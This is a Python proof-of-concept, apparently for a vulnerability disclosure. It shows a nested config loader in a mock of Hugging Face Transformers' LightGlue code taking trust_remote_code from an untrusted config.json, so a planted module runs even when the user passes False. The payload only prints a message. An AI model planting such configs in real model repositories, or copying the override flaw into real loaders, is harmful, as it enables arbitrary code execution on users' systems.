Vulnerable code sample

import os
import json
import tempfile
import shutil
import importlib.util
import sys

# --- 1. Simulate a malicious Hugging Face model repository ---
# This part creates a temporary directory with a malicious config.json and a Python file.
malicious_repo_path = tempfile.mkdtemp()

# The malicious config.json that forces trust_remote_code=True
malicious_config = {
    "model_type": "lightglue",
    "architectures": ["LightGlue"],
    "trust_remote_code": True, # The key part of the exploit
    "extractor": {
        "model_type": "superpoint",
        "auto_map": {
            "AutoConfig": "malicious_module.LightGlueConfig",
            "AutoModel": "malicious_module.LightGlue"
        }
    }
}
with open(os.path.join(malicious_repo_path, "config.json"), "w") as f:
    json.dump(malicious_config, f)

# The malicious Python module that will be executed
payload_code = """
print("!!! PAYLOAD EXECUTED: Arbitrary code is running on your system. !!!")

class LightGlue:
    def __init__(self):
        print("Malicious LightGlue model has been initialized.")

class LightGlueConfig:
    pass
"""
with open(os.path.join(malicious_repo_path, "malicious_module.py"), "w") as f:
    f.write(payload_code)

# --- 2. Simulate the vulnerable Hugging Face Transformers library code ---
# These are simplified mock classes representing the library's state BEFORE the fix.

class MockAutoConfig:
    @classmethod
    def from_pretrained(cls, model_path, trust_remote_code=False, **kwargs):
        config_path = os.path.join(model_path, "config.json")
        with open(config_path, "r") as f:
            config_dict = json.load(f)

        # Simulate the library executing code if trust_remote_code is True
        if trust_remote_code:
            print(f"[+] MockAutoConfig: trust_remote_code is True. Attempting to execute remote code.")
            auto_map = config_dict.get("extractor", {}).get("auto_map", {})
            if "AutoModel" in auto_map:
                module_name, _ = auto_map["AutoModel"].split('.')
                module_file = f"{module_name}.py"
                module_path = os.path.join(model_path, module_file)
                
                # Dynamically import and execute the malicious module
                spec = importlib.util.spec_from_file_location(module_name, module_path)
                malicious_module = importlib.util.module_from_spec(spec)
                sys.modules[module_name] = malicious_module
                spec.loader.exec_module(malicious_module)
        else:
            print(f"[-] MockAutoConfig: trust_remote_code is False. Code execution blocked at this level.")
        
        return config_dict

class MockLightGlueConfig:
    @classmethod
    def from_pretrained(cls, model_path, trust_remote_code=False, **kwargs):
        print(f"[*] MockLightGlueConfig received trust_remote_code={trust_remote_code} from user.")
        
        config_path = os.path.join(model_path, "config.json")
        with open(config_path, "r") as f:
            config_dict = json.load(f)

        # VULNERABILITY: The 'trust_remote_code' value is read from the untrusted
        # config.json file, ignoring the value passed by the user.
        nested_trust_remote_code = config_dict.get("trust_remote_code", False)
        print(f"[!] VULNERABILITY: Ignoring user input and using 'trust_remote_code={nested_trust_remote_code}' from config.json for nested calls.")

        # This untrusted value is then passed to a nested from_pretrained call.
        MockAutoConfig.from_pretrained(
            model_path,
            trust_remote_code=nested_trust_remote_code, # The malicious value is used here.
            **config_dict.get("extractor", {})
        )
        return cls()

class MockAutoModel:
    @classmethod
    def from_pretrained(cls, model_path, trust_remote_code=False):
        print(f"[*] MockAutoModel.from_pretrained called with trust_remote_code={trust_remote_code}")
        # The top-level call correctly receives the user's setting.
        # It then delegates to the vulnerable configuration loader.
        MockLightGlueConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
        print("[*] Model loading process finished.")


# --- 3. Victim's code: Demonstrating the exploit ---
# The user explicitly sets trust_remote_code=False, expecting to be safe.
print("--- Running Victim Code ---")
print(f"Loading model from potentially malicious path: {malicious_repo_path}")
print("User is setting trust_remote_code=False to prevent code execution.\n")

try:
    MockAutoModel.from_pretrained(
        malicious_repo_path,
        trust_remote_code=False  # This parameter is ignored due to the vulnerability.
    )
except Exception as e:
    print(f"An error occurred: {e}")

print("\n--- End of Demonstration ---")

# --- 4. Cleanup ---
shutil.rmtree(malicious_repo_path)
if "malicious_module" in sys.modules:
    del sys.modules["malicious_module"]